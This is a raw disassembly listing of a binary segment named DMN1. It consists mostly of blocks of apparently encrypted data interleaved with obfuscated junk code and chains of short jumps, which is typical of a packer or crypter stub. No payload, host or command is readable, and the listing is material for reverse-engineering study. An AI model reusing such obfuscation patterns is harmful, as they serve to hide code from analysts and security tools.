dd 49F2C59Bh, 9CF73EA5h, 1C8C0CB5h, 0CA0BE70Ch, 0E4235E34h
dd 1F265F67h, 15176059h, 0E3234BFCh, 674551DDh, 5EA8F2CAh
dd 0DA79B8EFh, 856E2B8Bh, 0DA777273h, 956EF534h, 78DD92DAh
dd 0A53D46D3h, 6145E6E0h, 3E923402h, 35A60F48h, 0DAF0C6FBh
dd 8AEC6805h, 1CDBEB11h, 0A147A00Fh, 350F77F5h, 0C14830B3h
dd 32591594h, 0D516B715h, 0A8238690h, 99255DD0h, 807E2D95h
dd 0F1261B8Ch, 0C2E91274h, 0E244A8ADh, 978D0F4Bh, 0A439AC5Eh
dd 98CB15B7h, 7942104Fh, 9F8026D4h, 8CE6EEF2h, 120726E4h
dd 0FA9FB2EEh, 0D3F73DD3h, 98580985h, 0A2839787h, 85A68BDBh
dd 36DC6B4Dh, 0E8A74ADCh, 4C564C45h, 5B47BEFAh, 0D4413058h
dd 94F63C5h, 0A31EC5AAh, 0DAAEA8ABh, 10535759h, 0A0F3CA1Dh
dd 0A284E2Dh, 0F2D2D655h, 6B8B1174h, 251ADA3Ch, 266DC80Eh
dd 0F9A3C723h, 1B05FA4Eh, 0BA538CFAh, 0DD40FB71h, 4435948Ah
dd 40CD0A41h, 9B0F5B5Bh, 0B9FB0443h, 0C46ED345h, 0E678159Ch
dd 0BCFD9F05h, 4F120C29h, 9C1CDAC5h, 9C993F9Dh, 0B9A83BD1h
dd 0FCBC7617h, 0FE440233h, 166E16EFh, 0C25FAA31h, 5D16ED8Fh
dd 3D9ED142h, 1D380881h, 0D9C12ED8h, 0AB46B30h, 0EB4A9A56h
dd 2DFDF684h, 3A64E482h, 0CD9E39DDh, 4F300CB4h, 5D47C38Ch
dd 0A78643FCh, 0E8FDAA9Ah, 93E5FFE0h, 88BCCF9Ah, 805DF083h
dd 9FBB0F9h, 2BE91D7Dh, 0CEA9A986h, 0D9799DD2h, 8E0A38E4h
dd 2CBC69F3h, 71E023Eh, 25DC75B7h, 34917CEFh, 0E60D9A9Dh
dd 92B292A3h, 0AA5038ABh, 1FE3EC13h, 4E1EE9AAh, 202248DDh
dd 0ABC52EC8h, 2ACF07D0h, 0C577579Bh, 8F21B80Ch, 2A87F6ADh
dd 168A190Eh, 43BD5BC0h, 44A41A76h, 0E97762D8h, 89406F23h
dd 6E1490EBh, 445841FDh, 689BA2E7h, 0C371B433h, 72008077h
dd 742B145Ah, 0C08A2D8Ah, 93B74581h, 445D25D4h, 46A442C2h
dd 9D631DF2h, 36ECCB0Eh, 5814AFF5h, 0EF8515FDh, 56845263h
dd 1B1184CDh, 0F1C5285Dh, 0F2244889h, 0B5025976h, 45E5660Ah
dd 111AA808h, 35C6830h, 550921C1h, 6DC990ABh, 9BFA8DBh
dd 1F532C4Ch, 0EC4B42F2h, 0F05CE796h, 3C2705h, 0FC8F7ED2h
dd 0C715BD9Fh, 0F0EA092h, 71B9D9C4h, 3CB9CD51h, 6FBBBC82h
dd 9BD2D644h, 0F066E7Fh, 8E066C45h, 0DDBE973Fh, 0DAD61DE2h
dd 0E822839Fh, 0B1755E33h, 8058933h, 49F9313Ah, 8EF88BF6h
dd 546F3954h, 0DB2B609Ch, 519E9AF4h, 7C89C29Dh, 0F51744B6h
dd 73BB6CCAh, 0D041A83h, 46D09B8Eh, 0A8F77EC9h, 0A517AD81h
dd 0DC189602h, 33157C09h, 7A816C88h, 0CC5E6149h, 69AD166Fh
dd 0C337A2AFh, 8752E7CBh, 5C5E9A06h, 5A5AA9D8h, 9505E7F0h
dd 0ACAD0904h, 5F398D96h, 0A1FDC098h, 0FD081C8Ch, 89F00EAFh
dd 3A950DEEh, 8610E4DBh, 1EFAAE65h, 235F8948h, 3A03D03Fh
dd 0FC083375h, 0B8FCD5C2h, 3C522602h, 0E0038857h, 0D244D0F2h
dd 0E5B8B6DEh, 9B5502FAh, 0A65B13D9h, 1E82BA90h, 68D29728h
dd 3A6DB5F5h, 833B838Bh, 99D90E15h, 388535FDh, 0E6DA6B18h
dd 58D979DBh, 66E31541h, 935DE01Ch, 90BEB1D0h, 0A3FABD63h
dd 3E2735Fh, 0AD14CF4Dh, 60EA75E3h, 0EEB2534Bh, 0B8B14D61h
dd 2BD716DBh, 0F8FAF1FFh, 0CBF6501h, 9767230h, 90DBF4B7h
dd 60F263F4h, 0F60D3D79h, 23922180h, 2A4E5950h, 44B96B1Bh
dd 0B3088367h, 0D68BB60Eh, 87997C7Ch, 77063AF8h, 7EFA4460h
dd 6313E057h, 15E11A6Bh, 78713AA8h, 0CCB8C5BAh, 73310061h
dd 210171A2h, 9EBB68B7h, 0BB389BC5h, 0FE4E6E1Eh, 0E132CD96h
dd 5CB5F68Dh, 0E11DF39Ch, 0BE837012h, 82D258B9h, 0D0232602h
dd 18FC85B0h, 0FC547044h, 655185C5h, 3F4ABEC5h, 0A94780EEh
dd 0F7151ACDh, 0A68426FEh, 0A0D282CFh, 0F6D6D9ADh, 0BCBE7991h
dd 0D6BBCF04h, 0EB86E8Ah, 0D138EA5Ch, 57704571h, 881D0CEBh
dd 0ECBD027Eh, 9C0A488h, 6AC10DE6h, 0E8BCC67Dh, 2E5820DBh
dd 4B90865Bh, 0FFE7E076h, 4D061C5h, 0CEC65010h, 55D92A4Fh
dd 22010353h, 0C7FD3724h, 63F32336h, 56D244B9h, 0EB8809A0h
dd 8579E924h, 211F1791h, 988FC19Dh, 16AF5C5Bh, 9EE3FF8Ch
dd 0EB9B859Eh, 0D8EE153Ch, 0F4F190C6h, 88E2C810h, 8D104C4Ch
dd 0F36B49B5h, 4D6E9479h, 36192125h, 1C378F3Ch, 0E5432765h
dd 58EB52D8h, 554B2B32h, 459F2C5Bh, 0E2F32D71h, 0D485D8E5h
dd 75587374h, 0B9AEC164h, 3301BBC9h, 76B95Bh, 0E09CF80Bh
dd 0C0AF1BDFh, 0A2BD244Ch, 0BEC42240h, 9329376Eh, 9F2B992Dh
dd 0C83267ACh, 0CC69961Ch, 0BC5F3A70h, 0CF556E38h, 95974CCh
dd 0AE33640Bh, 0DA7E9D63h, 0F0E5D9DFh, 0D6A7CC95h, 9850F374h
dd 0CBF84D34h, 0B91317A0h, 323FE454h, 0D5D1DB11h, 949012E2h
dd 0ACFF270Ch, 0A555096Eh, 34E5AF6Bh, 15F83D57h, 8AD7882Bh
dd 0EFB90CFEh, 0CDAE711Fh, 40626CA9h, 2055B4DCh, 916FA968h
dd 0E65C694h, 99416DEEh, 0EB02972Dh, 61D49AF5h, 7B4E6CCAh
dd 16BB7C6Ah, 0FBCED506h, 0BDE3CDB3h, 769AE37Eh, 71538E98h
dd 3A33A830h, 7C8B646Ah, 58DA4A07h, 0FC31E5B3h, 64F895E8h
dd 0ED3B0862h, 1E8DF4A3h, 3F09AFBFh, 88AF3680h, 7981EA64h
dd 2E271B5Bh, 5F7D86F8h, 1FD9E093h, 0B9AC50FCh, 0F4A162D8h
dd 133219BCh, 996B43DBh, 0FDAD7FF9h, 15A70633h, 0E6710ED8h
dd 890A2B4Fh, 1A997CA4h, 987D766Dh, 0BD2429C1h, 0F439DBA9h
dd 428EB2F4h, 0F944EAC8h, 9BF102CCh, 1926B303h, 0E8B03927h
dd 0EC4D332Fh, 864F0A71h, 0DDC489BCh, 74E25E0Bh, 0AD9BB86Fh
dd 0F9E531A4h, 0FCBD0FF2h, 2C2B01AAh, 30AD45C6h, 0F37E354Bh
dd 0DB8BAED6h, 76B105F0h, 0D23D6EA4h, 0D25E3178h, 73502903h
dd 3F797459h, 4BD11884h, 0EAE3C7BDh, 0FDA3A8B9h, 0B3349E40h
dd 0F8748790h, 77E8497Eh, 0F4B09F51h, 0AB2AF44Fh, 20ABC66Ah
dd 84B36514h, 201234F9h, 7B94BE67h, 0F799BB90h, 0F229B341h
dd 65A7797Fh, 3B2A7933h, 0F27BE777h, 0A2390FD0h, 26E0A653h
dd 0F3A8AAEh, 9FB91222h, 0A018DC46h, 42A76BAAh, 80549FF4h
dd 0E563C219h, 0B4C4EA37h, 36BDBCB3h, 1E1C57CCh, 36B80296h
dd 73353AE6h, 37756EE6h, 59557A13h, 0F429777Fh, 1FA9D88Ch
dd 40A4EAB7h, 0E6586A9Fh, 0BFA2F3DCh, 0D5EF4D5Ah, 971811A7h
dd 65A4BCB1h, 556AFF4Bh
dd 0E3A48770h, 4A2B406Dh, 6B8289C1h, 0CB74DB5h, 9F71FE37h
dd 0F552005Dh, 5DFDDE3Ah, 6FC2FA77h, 47B9807Eh, 0C8E0A44Dh
dd 0AD850A0Ch, 0DE960372h, 9E0DCDA7h, 0DE6AFDDDh, 0DB44DBFBh
dd 0C48FB0FBh, 51D5DBEFh, 6FE1BBC5h, 7CD67555h, 4E6F25EBh
dd 56395263h, 37521A1Eh, 477F7A5Eh, 0AA73E91Ch, 0BA2FF20h
dd 22A2DA74h, 1DF8E28Ah, 0DEF28982h, 0E28A6D4Ah, 1E78332Dh
dd 0F138D5B3h, 3D0AB233h, 3A3C551Dh, 0A5D66EDFh, 47D45C4Ch
dd 0FD52CCF2h, 1B992C7Ch, 7FAB985Fh, 1CCC6B5Dh, 4CBA29EAh
dd 6299D6E5h, 3F812B56h, 0BA2A490Bh, 83B8A48Fh, 0E91BF47Fh
dd 0D1DC9A7Ah, 0C1315298h, 8EFE9F2Dh, 0F318F387h, 56914400h
dd 0E5F614D6h, 0D3FFB4A6h, 0A8918249h, 466317A1h, 0EC1BE1D0h
dd 5F6553F0h, 5502758Ch, 127C4820h, 9F536B45h, 241EBE41h
dd 0CA166F0Ah, 0CA7CC021h, 32FF2DF2h, 9D859D03h, 5CC26186h
dd 6AF96D47h, 1B396782h, 0AB5B3C80h, 36F81860h, 0FEB9054Eh
dd 0DDCA4CEBh, 1D68C83Fh, 923E84DBh, 50C60E9Eh, 86E17B72h
dd 0DAEB18C7h, 0AE60CA04h, 0A0D5D4Eh, 6F0ACF35h, 17B36D81h
dd 2B3C3611h, 8E7BAD84h, 1D61321Ah, 0EB84F61Dh, 0F555C1EBh
dd 8F7834B6h, 0B1776390h, 947E4D3Fh, 0BF594313h, 4A2B0CE9h
dd 0C1F488D9h, 71A66959h, 9C36F4Ah, 7C070534h, 33C0CFB1h
dd 0FBEF1E3Bh, 156862D5h, 0BBA20D6Fh, 7ACCDBC5h, 1E57695Fh
dd 37952338h, 34AD1293h, 6D33D09Ch, 393747F1h, 1091BAE3h
dd 20E061B7h, 460867A1h, 186FBFA0h, 710C17CAh, 1D052E71h
dd 66C76AB9h, 0B6F787D4h, 36724F04h, 0A60A2E11h, 9D4178A9h
dd 83888EE1h, 0CAA1E19Bh, 3E2964E5h, 0F69ADAA2h, 0E11B6026h
dd 954B6681h, 7AE5BDA7h, 57E2D36Bh, 0A713F402h, 610CAAEEh
dd 0FB38C6DEh, 0A0602264h, 473AAC2Ch, 8F6B65DDh, 8449AAA4h
dd 0FA6C6C9Ch, 2F4ECD67h, 4E82CB25h, 0C3ACB7E5h, 6CE77F93h
dd 483067A6h, 8357FA55h, 0A23F49C3h, 9DCDDC40h, 0BB9301BCh
dd 24A9380Eh, 8CBC2284h, 3793629Bh, 0A9D52846h, 1CA1E77Bh
dd 0E716D4A5h, 0B468B863h, 34CF2CEBh, 7D5C1767h, 0C7A98459h
dd 5B2C32F2h, 17DBE769h, 0A070ADB0h, 41A41E12h, 9001FF55h
dd 5C59FB7Bh, 50DAE80Fh, 0E344FB70h, 555B2D27h, 141427BDh
dd 0FC4251F6h, 0BAD38730h, 0A6F7E5EAh, 6CE52B4h, 0CF62260Eh
dd 1F32A109h, 7C3F4EF9h, 0A21F080Eh, 0CD986B09h, 56BC704Bh
dd 254F5CB5h, 32F4742Ah, 7C03EA82h, 51984414h, 30CC9A9h
dd 7222BCB2h, 4A231FE4h, 6A1C30DAh, 0FE9DE029h, 9A3997BAh
dd 0EC4E3ED5h, 0E2B8EA7h, 447EA127h, 591BABA2h, 2C1ABC0h
dd 9F2470F2h, 8BE1BC17h, 8EA501AEh, 0DE1791E7h, 7697DFB1h
dd 0D2502DA8h, 8EFCE191h, 74284C00h, 0EB3FDCDAh, 0F4595600h
dd 0ABFF4472h, 0E9C1D8DEh, 0CC971BCDh, 0DD97B022h, 0DA024DD4h
dd 859FB650h, 68ADC173h, 74B67672h, 3AD09651h, 0F0D47095h
dd 0D4DDB34Ah, 4A736A4Eh, 0EF154FC5h, 0EC716F83h, 1FE34D58h
dd 11BC0775h, 49A52EEBh, 595D70C2h, 1CD8929Fh, 47A1EA9Ah
dd 262FAEE7h, 0E126DED8h, 409D5E37h, 5FB1FE3Fh, 0AFB4CB7Dh
dd 0D1F264A2h, 873328D5h, 0BF3F91B3h, 0DCA439F2h, 0F56E8769h
dd 0F01B1DDFh, 0F822C2DDh, 0E5E3FAC3h, 0DF62E69Eh, 0B67E7Fh
dd 9BDCC9CCh, 608CE5Dh, 53B8517Bh, 0A41D0A45h, 1A79331Ch
dd 9A871E92h, 0DB5BD0FCh, 8D144F94h, 73C1FE8Bh, 0A8AD1E61h
; ---------------------------------------------------------------------------
scasd
or edi, [eax]
loc_467A0F: ; CODE XREF: DMN1:00468827j
pop esi
imul byte ptr [esi+13B82AF1h]
mov ecx, 43641D8Ah
xor [eax-65775BF9h], edx
and eax, 2BC73838h
fstp tbyte ptr [edi]
sbb al, 0A3h
in eax, dx
xchg bh, cl
or al, 2Ah
lds edi, [ebp+60h]
mov al, 28h
outsb
out 0DAh, eax
in al, 51h
dec esp
inc edx
add ch, [edi]
cmp eax, 3D5B755Dh
push ss
call far ptr 2C82h:596ABD5Fh
pop es
pop es
cmp [ebp+64h], eax
cmp ch, [ecx+7Eh]
into
jmp far ptr 1613h:5B79E71Bh
; ---------------------------------------------------------------------------
dw 6360h
; ---------------------------------------------------------------------------
stosd
inc ecx
js short loc_467AAD
imul ebx, [eax-7Dh], 77451524h
or eax, 95F5821Dh
les edx, [esi]
stosb
xor [edx+63A5349Ah], dl
sub edx, ebp
stosd
or bh, al
retf 0FFBh
; ---------------------------------------------------------------------------
db 88h, 13h, 3Eh
dd 0A737BE03h, 799D46D1h, 0E22EB286h, 0AD800F73h, 0F822012Eh
dd 7A023944h, 0B7198ECFh, 24CFF357h, 0BA64F8F6h, 0E2123448h
dd 9FF3591Eh
db 0C2h
; ---------------------------------------------------------------------------
loc_467AAD: ; CODE XREF: DMN1:00467A5Ej
xchg dh, [ebp+4Eh]
mov ds:85F666CCh, al
and al, 30h
inc edi
mov edx, 200EF2B2h
cmp al, 3Ah
in al, dx
and byte ptr [edi-46h], 1Ah
mov es, word ptr [ecx]
rcr dword ptr [eax], 82h
inc esp
int 3 ; Trap to Debugger
and bl, [eax+2FACACEDh]
lahf
adc al, 4Dh
loope loc_467AEA
mov ecx, 4DD7FE8Fh
popa
pop es
retf
; ---------------------------------------------------------------------------
sub eax, 0A8C15611h
retf
; ---------------------------------------------------------------------------
dd 8746EE9h
db 16h, 0E8h
; ---------------------------------------------------------------------------
loc_467AEA: ; CODE XREF: DMN1:00467AD4j
fisubr dword ptr [eax+esi*8+49CCC2E7h]
sahf
inc ebx
aam 0B9h
add eax, 59FF3436h
xchg eax, ecx
pusha
js short loc_467B0A
push ebx
retn
; ---------------------------------------------------------------------------
dd 3D822ABAh, 5799E22Eh
db 65h, 0C2h
; ---------------------------------------------------------------------------
loc_467B0A: ; CODE XREF: DMN1:00467AFCj
call near ptr 3E5F9CB8h
mov cl, 53h
pop esi
mov [esi+esi], ebp
; ---------------------------------------------------------------------------
db 8Fh, 4Ch, 0E0h
dd 0C83C3B3Ch, 50B45D0h, 1EAA7D83h, 1FA6B340h, 386ED2Dh
dd 0B69AE920h, 6D927509h, 392391Ch, 63BC4C8Ah, 238A4738h
dd 4B49D977h, 0ADF52343h, 6ED51072h, 523449B1h, 45BD096Dh
dd 74FB3D8Ah, 5A3BD016h, 8D6845A3h, 3740DB2Dh, 819849E1h
dd 0C1FC52A9h, 97F2E73h, 0E524839Eh, 0FA99AADCh, 5C64FB1Ch
dd 0BCBFA898h, 187431CCh, 0F83C168Eh, 0FA912439h, 586BA8DBh
dd 9F29DA82h, 82C5570Fh, 49B8AB0Ch, 8476607Ah, 7049E4A6h
dd 929B958Bh, 9E2E927h, 25F19B11h, 4EC7A157h, 0B2C738ACh
dd 7BC4A303h, 3553DC11h, 16487817h, 21A6B387h, 898B4AE0h
dd 53891C5Ah, 3019C1A0h, 47075040h, 3EA0E5DBh, 0B8909B2Eh
dd 0B3D92225h, 2D6386FFh, 6C2ABC81h, 635E34FEh, 7218469Ch
dd 0C08D28ABh, 437534D2h, 7D081C08h, 1FC4B128h, 88BCD848h
dd 0A6B12657h, 5DE7641h, 92D885B6h, 14AF719Bh, 4F744464h
dd 0B4B971F3h, 72CF6125h, 0DB214D73h, 2A515717h, 0E24CD8Ah
dd 102B24h, 0D968DC3Bh, 26F53811h, 5E079739h, 9E45912Eh
dd 0DC81C9B7h, 60916F96h, 0B0EEA060h, 513F9646h, 2C1F7D6Ah
dd 704EBCAAh, 3943F9EBh, 0A39574Fh, 9F518E84h, 73E6104Dh
dd 508E6C08h, 132F60A5h, 0C45477E5h, 9FE5853Ah, 86012FB5h
dd 411A62ECh, 89FF1931h, 0E509811h, 432FF7D8h, 0EB3B100Fh
dd 35AAFC9h, 0A45EAF21h, 0B2E6315Ch, 0A5E85A1Ah, 226B61F6h
dd 0E2F56049h, 3D00A1BEh, 3D7B1CB9h, 46DA1AD0h, 0C246C2BBh
dd 374065F7h, 0CCEE357Eh, 25445C10h, 0C9E57F54h, 0EBDE5363h
dd 0F0202335h, 0D81020E1h, 0AEF88A30h, 0E960CF8h, 8AC6FF46h
dd 8E7A5C2Dh, 0BF214820h, 38EC7B36h, 0A26122ECh, 17825366h
dd 31974B80h, 0F8C88053h, 18B9E611h, 0E1B1B770h, 0ECC43E54h
dd 0F5325B42h, 55C69DB5h, 0A51E85CFh, 0A6CE143Bh, 0D4E9746Bh
dd 13CD648Bh, 121846FEh, 2301C69Eh, 8CD05589h, 0BAF7398Dh
dd 80E2FDEFh, 12E03088h, 156C942Dh, 60095CECh, 0CC2297DCh
dd 3B6A1A59h, 58695201h, 0F9597640h, 63DA459Dh, 241169E5h
dd 280F05DEh, 9FE4ED8Eh, 0AD337853h, 0A33CF763h, 0C8672AA6h
dd 97ECCAD8h, 0F6129B51h, 2DFD4526h, 0C4E49326h, 3C051239h
dd 36B62B2Bh, 53172EFBh, 16CCED96h, 6A4C2B64h, 35CC572Bh
dd 0BE74A7B7h, 0B82A4F28h, 8487EB62h, 0D3AF849Fh, 5C19B243h
dd 0F3F01DE9h, 0F112007Fh, 0D1BA1EFCh, 0F13BE147h, 625248Bh
dd 80409AA9h, 0F4C7842Ah, 4810ECDDh, 6B545F14h, 0CDFAB02Fh
dd 46CDFD01h, 48C8B128h, 0E3B65169h, 78061B9h, 741BED54h
dd 465D4A9Bh, 25434702h, 0F39BB10Ah, 48CFFE94h, 2208A6E5h
dd 27DD218Bh, 0A5A98F1Fh, 0C38E8E37h, 4B51E6E0h, 7C4ABCC0h
dd 0ECB94A43h, 519E64F9h, 82AE7685h, 0A65B8361h, 0C3D92CC4h
dd 7CE9A5D8h, 0D2FD1FB3h, 8779CA8Ah, 0E7736456h, 0A0F27307h
dd 24BE18CCh, 22E374Eh, 1AACF352h, 5AB4A660h, 90FFDA22h
dd 624C4A2Ch, 5D887307h, 0CF4598A3h, 6CA010A1h, 5AE72258h
dd 0F694F2E6h, 0C11D4587h, 67E49714h, 48E749E1h, 7BDD0318h
dd 0A11CCD6Bh, 0B13AD81Ah, 0D18963C6h, 5172E57Dh, 3BD2E94Ah
dd 67907C2Ch, 0E47EB11Ah, 0EC8A3E2Fh, 3402ED37h, 0C9BF57E8h
dd 0A9161552h, 5020C1E4h, 954D8941h, 0A732C4E8h, 3B3A195Ah
dd 52088548h, 4E825BE3h, 0D14EDA33h
; ---------------------------------------------------------------------------
loc_467EBC: ; CODE XREF: DMN1:00467ED4j
inc esi
push 24h
push ebp
mov ebp, esp
mov eax, [esp+8]
mov ebp, eax
pusha
mov eax, 46806E18h
push eax
jmp short loc_467ED6
; ---------------------------------------------------------------------------
db 8Eh, 0B7h, 0B5h
; ---------------------------------------------------------------------------
js short loc_467EBC
loc_467ED6: ; CODE XREF: DMN1:00467ECFj
jmp short loc_467EEF
; ---------------------------------------------------------------------------
adc [edx], eax
and esi, esi
enter 7C96h, 6Bh
dec edx
xchg eax, esi
rol dword ptr [esi+79EED5B4h], 0CEh
fstp tbyte ptr [eax+4Fh]
cmpsb
mov dh, 9Ah
loc_467EEF: ; CODE XREF: DMN1:loc_467ED6j
std
or edx, 0FFFFFFFFh
jmp short loc_467F10
; ---------------------------------------------------------------------------
db 89h, 54h, 5Ah
dd 1D218CBFh, 9C2BF4BEh, 6E843648h, 55FFA0C2h, 5651BEh
dd 458262EFh
; ---------------------------------------------------------------------------
loc_467F10: ; CODE XREF: DMN1:00467EF3j
dec esi
jmp short loc_467F18
; ---------------------------------------------------------------------------
db 94h
dd 7CDE815Bh
; ---------------------------------------------------------------------------
loc_467F18: ; CODE XREF: DMN1:00467F11j
jmp short loc_467F38
; ---------------------------------------------------------------------------
dw 0A500h
dd 0D6209023h, 407B6158h, 0E3A30A61h, 3D8C45E0h, 0FE05220Bh
dd 5D8B3F0h, 41215188h
; ---------------------------------------------------------------------------
loc_467F38: ; CODE XREF: DMN1:loc_467F18j
jmp short loc_467F54
; ---------------------------------------------------------------------------
dw 7355h
dd 25B6FB8Bh, 35F91A7Bh, 6CFE5204h, 0FDDEB14Ah, 0F0605113h
dd 0A64AA436h
; ---------------------------------------------------------------------------
loc_467F54: ; CODE XREF: DMN1:loc_467F38j
jmp short loc_467F6B
; ---------------------------------------------------------------------------
sti
retf
; ---------------------------------------------------------------------------
dd 740CF616h, 0F1850F85h, 7C57E921h, 2C3E982Dh
; ---------------------------------------------------------------------------
or al, [eax-3Dh]
loc_467F6B: ; CODE XREF: DMN1:loc_467F54j
inc edx
jmp short loc_467F72
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 33h
db 9Dh, 8Dh
; ---------------------------------------------------------------------------
loc_467F72: ; CODE XREF: DMN1:00467F6Cj
test ebx, 2E1E3D33h
jmp short loc_467F98
; ---------------------------------------------------------------------------
dw 39EFh
dd 7C94DB6Bh, 0BB8399C2h, 1B103BDCh, 0E58CA4A4h, 6CCCAAAAh
dd 59653853h, 0C6F66E9Eh
; ---------------------------------------------------------------------------
loc_467F98: ; CODE XREF: DMN1:00467F78j
xchg edi, edi
jmp short loc_467FAD
; ---------------------------------------------------------------------------
dd 0AD57EDA2h, 0BB735CDBh, 585DA7F0h, 1F0E939h
db 0B7h
; ---------------------------------------------------------------------------
loc_467FAD: ; CODE XREF: DMN1:00467F9Aj
jmp short loc_467FC8
; ---------------------------------------------------------------------------
db 84h
dd 0EA49ACDEh, 0B544129Dh, 0E494886h, 0FF1DFDEAh, 786F2076h
dd 0C15A759Fh
; ---------------------------------------------------------------------------
loc_467FC8: ; CODE XREF: DMN1:loc_467FADj
bswap ebx
jmp short loc_467FDC
; ---------------------------------------------------------------------------
dd 57BD1182h, 5EC9E6D3h, 0AC18243Ch, 0D9C99C9Bh
; ---------------------------------------------------------------------------
loc_467FDC: ; CODE XREF: DMN1:00467FCAj
xchg edi, edx
xchg eax, ebp
jmp short loc_467FE4
; ---------------------------------------------------------------------------
db 90h
db 29h
; ---------------------------------------------------------------------------
loc_467FE4: ; CODE XREF: DMN1:00467FE0j
jmp short loc_467FF3
; ---------------------------------------------------------------------------
dw 0DE8Ch
dd 0D29437D6h, 530CB6E9h
db 13h, 1Ah, 9
; ---------------------------------------------------------------------------
loc_467FF3: ; CODE XREF: DMN1:loc_467FE4j
jmp short loc_468002
; ---------------------------------------------------------------------------
db 3Dh, 5Ah, 14h
dd 0EA270933h, 0FFC111CFh
; ---------------------------------------------------------------------------
jle short loc_46805E
loc_468002: ; CODE XREF: DMN1:loc_467FF3j
test ebx, 8F578930h
add edi, 31000h
cld
xchg ebx, ebp
jmp short loc_46802E
; ---------------------------------------------------------------------------
db 73h
dd 59C32863h, 0A3981520h, 0A3674467h, 331F2CDBh, 12F2F051h
dd 9B506A49h
; ---------------------------------------------------------------------------
sar edx, cl
loc_46802E: ; CODE XREF: DMN1:00468011j
test edx, 10FDA7DFh
jmp short loc_468052
; ---------------------------------------------------------------------------
push esi
jmp dword ptr [ecx]
; ---------------------------------------------------------------------------
db 12h, 0B7h, 0D8h
dd 0F69A9B69h, 5F86832Bh, 0B3432334h, 0D799C9D7h, 0BB018304h
db 0E6h, 99h
; ---------------------------------------------------------------------------
loc_468052: ; CODE XREF: DMN1:00468034j
or ecx, 0FFFFFFFFh
cmc
stc
jmp short loc_468073
; ---------------------------------------------------------------------------
db 20h, 74h, 0F4h
db 63h, 0B8h
; ---------------------------------------------------------------------------
loc_46805E: ; CODE XREF: DMN1:00468000j
inc ebp
mov byte ptr [esi-29h], 0D2h
xor ch, bl
movsb
test [ebp-27A25B5h], ah
cmpsb
; ---------------------------------------------------------------------------
dw 0BB69h
; ---------------------------------------------------------------------------
jg short loc_4680A0
aas
loc_468073: ; CODE XREF: DMN1:00468057j
test ebp, 237A3A12h
jmp short $+2
jmp short loc_468095
; ---------------------------------------------------------------------------
db 33h, 37h, 66h
dd 565267DCh, 0F2E9066Bh, 7B4326C4h
; ---------------------------------------------------------------------------
xlat
loc_46808D: ; CODE XREF: DMN1:004680DAj
imul esi, [edi], 0F5868563h
inc ebp
; ---------------------------------------------------------------------------
db 0E1h
; ---------------------------------------------------------------------------
loc_468095: ; CODE XREF: DMN1:0046807Bj
inc ecx
jmp short loc_4680AC
; ---------------------------------------------------------------------------
dd 0DEE21F55h, 0E1B2213Dh
; ---------------------------------------------------------------------------
loc_4680A0: ; CODE XREF: DMN1:00468070j
xchg eax, esp
push ss
inc esp
sbb ds:8A66E44h[ecx], ebx
jz short loc_4680D8
loc_4680AC: ; CODE XREF: DMN1:00468096j
jmp short loc_4680BB
; ---------------------------------------------------------------------------
dw 61DBh
dd 672E44Ch, 0F139E64Bh
db 0C7h, 0FFh, 0F6h
; ---------------------------------------------------------------------------
loc_4680BB: ; CODE XREF: DMN1:loc_4680ACj
jmp short loc_4680DC
; ---------------------------------------------------------------------------
db 0FEh, 3Eh, 48h
dd 765CA650h, 9A95FAF1h, 2662A09Fh, 4DF86EE7h, 34822839h
dd 87B476E5h
; ---------------------------------------------------------------------------
loc_4680D8: ; CODE XREF: DMN1:004680AAj
push cs
xchg eax, ebx
ja short loc_46808D
loc_4680DC: ; CODE XREF: DMN1:loc_4680BBj
xchg esp, ebp
jmp short loc_4680ED
; ---------------------------------------------------------------------------
dd 4125DC0Eh, 2C0170A4h, 6EA79B52h
db 0C7h
; ---------------------------------------------------------------------------
loc_4680ED: ; CODE XREF: DMN1:004680DEj
jmp short loc_4680FA
; ---------------------------------------------------------------------------
db 27h
dd 12FA4978h, 69AD1349h
db 0ECh, 0DDh
; ---------------------------------------------------------------------------
loc_4680FA: ; CODE XREF: DMN1:loc_4680EDj
jmp short loc_4680FE
; ---------------------------------------------------------------------------
db 64h, 0AEh
; ---------------------------------------------------------------------------
loc_4680FE: ; CODE XREF: DMN1:loc_4680FAj
add ecx, 514Bh
loc_468104: ; CODE XREF: DMN1:004686B3j
jmp short loc_468115
; ---------------------------------------------------------------------------
test byte ptr [eax+565DA39Fh], 0CAh
xor dl, [ecx+54h]
mov ecx, 341A00DCh
loc_468115: ; CODE XREF: DMN1:loc_468104j
jmp short loc_468123
; ---------------------------------------------------------------------------
db 0Dh
db 0CCh
db 10h, 0EFh, 0FDh
dd 0F03FE00Dh
db 0D9h, 0Ah, 81h
; ---------------------------------------------------------------------------
loc_468123: ; CODE XREF: DMN1:loc_468115j
neg ebx
not esi
jmp short loc_46812E
; ---------------------------------------------------------------------------
db 82h, 80h, 0DBh
; ---------------------------------------------------------------------------
wait
aaa
loc_46812E: ; CODE XREF: DMN1:00468127j
xchg ebx, esp
neg edx
bswap esi
xchg ebx, edx
jmp short loc_468142
; ---------------------------------------------------------------------------
dd 0E6EC1F17h, 0CC8F4888h
db 9Ch, 20h
; ---------------------------------------------------------------------------
loc_468142: ; CODE XREF: DMN1:00468136j
jmp short loc_46814A
; ---------------------------------------------------------------------------
dd 937288B6h
db 4Bh, 0
; ---------------------------------------------------------------------------
loc_46814A: ; CODE XREF: DMN1:loc_468142j
bswap esi
bswap esi
jmp short loc_46815D
; ---------------------------------------------------------------------------
dd 2496A579h, 0F1524E00h, 0A50648F8h
; ---------------------------------------------------------------------------
push ss
loc_46815D: ; CODE XREF: DMN1:0046814Ej
jmp short $+2
jmp short loc_468177
; ---------------------------------------------------------------------------
popf
scasd
push 0CE5DD9B4h
mov bl, 26h
cmp bl, [ecx+ebp*8+4CB0BCB9h]
rcr ebx, 82h
leave
and edi, esp
loc_468177: ; CODE XREF: DMN1:0046815Fj
cld
jmp short loc_468180
; ---------------------------------------------------------------------------
xchg eax, esp
test eax, 1275BDA5h
loc_468180: ; CODE XREF: DMN1:00468178j
jmp short loc_468185
; ---------------------------------------------------------------------------
dw 1676h
db 71h
; ---------------------------------------------------------------------------
loc_468185: ; CODE XREF: DMN1:loc_468180j
mov edx, eax
jmp short loc_468193
; ---------------------------------------------------------------------------
db 7, 40h, 17h
dd 4FC58A0Ah
db 79h, 2 dup(20h)
; ---------------------------------------------------------------------------
loc_468193: ; CODE XREF: DMN1:00468187j
jmp short loc_4681AD
; ---------------------------------------------------------------------------
db 9Eh, 3Eh, 60h
dd 613113D1h, 0AC42DB1Eh, 4BD55AE4h, 5ECBA10Ch, 0F80DBF27h
; ---------------------------------------------------------------------------
push ss
